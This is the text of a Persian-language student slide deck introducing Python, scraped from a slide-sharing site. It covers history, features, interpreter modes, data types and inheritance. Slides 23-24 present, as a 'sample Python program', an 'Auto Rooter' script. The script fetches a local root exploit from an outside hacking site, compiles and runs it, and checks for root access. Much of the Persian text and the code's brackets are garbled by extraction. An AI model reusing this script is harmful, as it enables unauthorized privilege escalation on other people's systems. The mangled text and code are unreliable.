25
Programing Language : زی از کا ی ت ب ح م گاه پ ی ف س و ی م ی ر م1

Programing Language

  • Upload
    bayle

  • View
    67

  • Download
    0

Embed Size (px)

DESCRIPTION

Programing Language. کاری از : پگاه محبتی مریم یوسفی. تاریخچه. در سال 1991 توسط گویدو ون رسوم ABC هدف : ایجاد جانشینی برای زبان هشتمین زبان برنامه نویسی پرطرفدار جهان. Guido van Rossum. ( Benevolent Dictator for Life ). ویژگی ها : . زبان سطح بالا و شی گرا - PowerPoint PPT Presentation

Citation preview

Page 1: Programing  Language

1

Programing Language

کاری از :پگاه محبتی

مریم یوسفی

Page 2: Programing  Language

2

تاریخچه توسط گویدو ون 1991در سال

رسوم

ABC هدف : ایجاد جانشینی برایزبان

هشتمین زبان برنامه نویسی پرطرفدار جهان

Guido van Rossum( Benevolent Dictator for Life )

Page 3: Programing  Language

3

: ویژگی ها زبان سطح باال و شی گرا• رایگان و متن باز•قابل حمل • از زبانهای سطح باال سطح قدرتمند )ترکیبی•

پایین و تفسیری) امنیت اطالعات• درونی سازی و گسترش• سهولت یادگیری و استفاده•

Page 4: Programing  Language

4

را کPه اولیPن برنامه hello world برای مثال برنامPه پایتون و سی زبان دو در را باشPد مPی سPاده

مقایسه کنید: :cدر

#include <stdio.h>int main(){printf(" Hello world ");return 0;{

Page 5: Programing  Language

5

: در پايتون

print "Hello World !!"

Page 6: Programing  Language

6

اهداف اصلی

خوانایی باالی برنامه ها• کوتاهی و بازدهی نسبی باالی •

آن

یک کار غیر معمول در طراحی این زبان استفاده از فاصله و جلو بردن متن برای مشخص کردن

بلوک های مختلف کد است که به ویژگی آف–ساید معروف است .

Page 7: Programing  Language

7

پایتون یک زبان تفسیری است

برنامه ها به دو روش پردازش می شوند توسط

کامپایلر مفّسر

Page 8: Programing  Language

8

پایتون یک زبان تفسیری است

یک کامپایلر برنامه را می خواند و قبل از اینکه اجرا کنPد آPن را بPه طور کامPل بPه زبان ماشین ترجمPه مPی کند. در ایPن مورد برنامPۀi سطح باال

ک,د مقصد و برنامPۀi ترجمPه شده را ک,د مبدأ اجرا یPا برنامه قاب,ل کPه بار یPک نامند. مPی

iن را بدون ترجمۀPد آPی توانیPل شود ، مPکامپایمجدد به دفعات اجرا کنید.

Page 9: Programing  Language

9

و خواند می خط به خط را برنامه مفسر . که معنی بدین دهد می راانجام محاسبات

می انجام گوید می برنامه که را آنچه مفسردهد.

Page 10: Programing  Language

10

پایتون یک زبان تفسیری است

اجرا مفسر iوسیلۀ به پایتون هاي برنامه. شوند می

وجود مفسر از استفاده براي راه دودارد:

حالت خط فرمان حالت

اسکریپت

Page 11: Programing  Language

11

در حالت خط فرمان ، شما برنامه پایتون 1.را تایپ می کنید و مفّسر نتیجه را چاپ

print 1+1 <<<می کند :

2

Page 12: Programing  Language

12

در حالت اسکریپت ، شما برنامه را در یک 2.فایل می نویسید و از مفّسر براي اجراي

محتویات فایل استفاده کنید. چنین فایلی را print<<<اسکریپت می نامند.

1+1$ python latoya.py

2

Page 13: Programing  Language

13

کار با پایتون شروعتاکنون محیط هاي گرافیکی زیادي جهت برنامه

نویسی پایتون در سیستم عامل هاي گوناگون ازسوي شرکت هاي مختلف عرضه شده است،

IDLE • :از جمله• win32 • wxPython • Tkinter

Page 14: Programing  Language

14

تایپ می کنید بر IDLE کد شما همچنان که دراساس انواع نحوي پایتون رنگ آمیزي می

شود : توضیحات به رنگ قرمزند

رشته ها سبز رنگتعاریف و خروجی هاي مفسر آبی

وکلمات کلیدي پایتون هم نارنجی هستند

Page 15: Programing  Language

15

• .pyw• .pyc• .pyo• .pyd

برنامه هایی را که در پایتون می ذخیره می شوند py.نویسید با پسوند

سایر پسوندهایی که ممکن است در پایتون مشاهده کنید شامل :

Page 16: Programing  Language

16

انواع داده هانوع توصیف مثالstr رشته غیر قابل تغییر از

کاراکترها‘Hello’ “Hello”

list تغییر پذیر، می تواند تایپ های مختلف را دارا

.باشد

[‘string’,true,4]

tuple تغییر ناپذیر، می تواند تایپ های مختلف را دارا

.باشد

(‘string’,true,4)

int یک عدد صحیح 47

float یک عدد اعشار 3.141592

complex یک عدد مختلط با عدد حقیقی و قسمت

موهومی

3+2j

bool عدد درستی True , False

Page 17: Programing  Language

17

متغیرهادسPتورنسبت دهPی یPک متغیPر جدیPد میسازد و

مقداري را به آن نسبت می دهد :

>>> message = "What's up, Doc?">>> n = 17>>> pi = 3.14159>>> print message>>> print n What's up, Doc? 17

Page 18: Programing  Language

18

شرط ها و روند کنترل• if• for• while• class• def• with• try

در برنامه نویسی شی گرا استفاده می شود که یک

بلوک کد را اجرا و فضاهای محلی آن

را به یک کالس ملحق می کند

یک تابع تعریف می کند

یک بلوک کد را به یک مدیر متن ضمیمه می کندجلوگیری از

اعتراض

Page 19: Programing  Language

19

عملگرها

20+32 hour-1 hour*60 minute/60 5**2 (5+9)*(15-7)

+ - / * ** ()

Page 20: Programing  Language

20

م عملگرها تقد

توان < ضرب < تقسیم < جمع< تفریقپرانتزها < رسانی

Page 21: Programing  Language

21

وراثت iنسخۀ کPه اسPت جدیدي کالس تعریPف توانایPی از باشد. یPک کالس موجود می از اي تغییریافتPه آنجایPی کPه کالس جدید تمام متدهاي کالس موجود را بPه ارث مPی برد، ایPن عمPل وراثPت نامیده می شود. بPا توسPعۀi ایPن اسPتعاره، کالس موجود گاهی

گاهی وال,د جدیPد، کالس بPه شود. مPی نامیده یا زیر کالس گفته می شود.کالس فرزند

Page 22: Programing  Language

22

وراثتمزایای اضافه کردن متدهای جدید به یک کالس بدون تغییر در •

کالس موجود ساده تر شدن بعضی از برنامه های پیچیده• استفاده مجدد از کدها به آسانی •

معایب وراثتمPی توانPد خوانایPی برنامPه را دشوارتPر سPازد . هنگامی •

که یک متد احضارمی شود، گاهی یافتن محل تعریف آن واضح نیست .

Page 23: Programing  Language

23

#!/usr/bin/python#Code By G3n3Rall#BHG Security Center#Www.Black-hg.org ||| Www.Greyh4t.Com#www.idc-team.net

import urllib2,sys,os #1

print 'Auto Rooter ...'  #2

mylocalroot = 'http://www.black-hg.org/Localroot/x.c'#3

try:

    exploit = urllib2.urlopen(mylocalroot( #4

    exploit = exploit.read(( #5

    xpl = open("x.c", "w"(  #6

    xpl.write(exploit( #7

    xpl.close(( #8

except: #9

پایتون کد نمونه یک

Page 24: Programing  Language

24

print 'Could Not Get Exploit' #10

try: #11

    os.system('chmod 777 x'( #12

    os.system('gcc x.c -o x'(

    os.system('./x Command'(

    uid = os.getuid(( #13

    if uid is '0': #14

        print 'You Have Root Access' #15

    else: # 16

        print 'Rooting Faild' #17

except: #18        print 'Error In Executing' #19 

Page 25: Programing  Language

25

پایان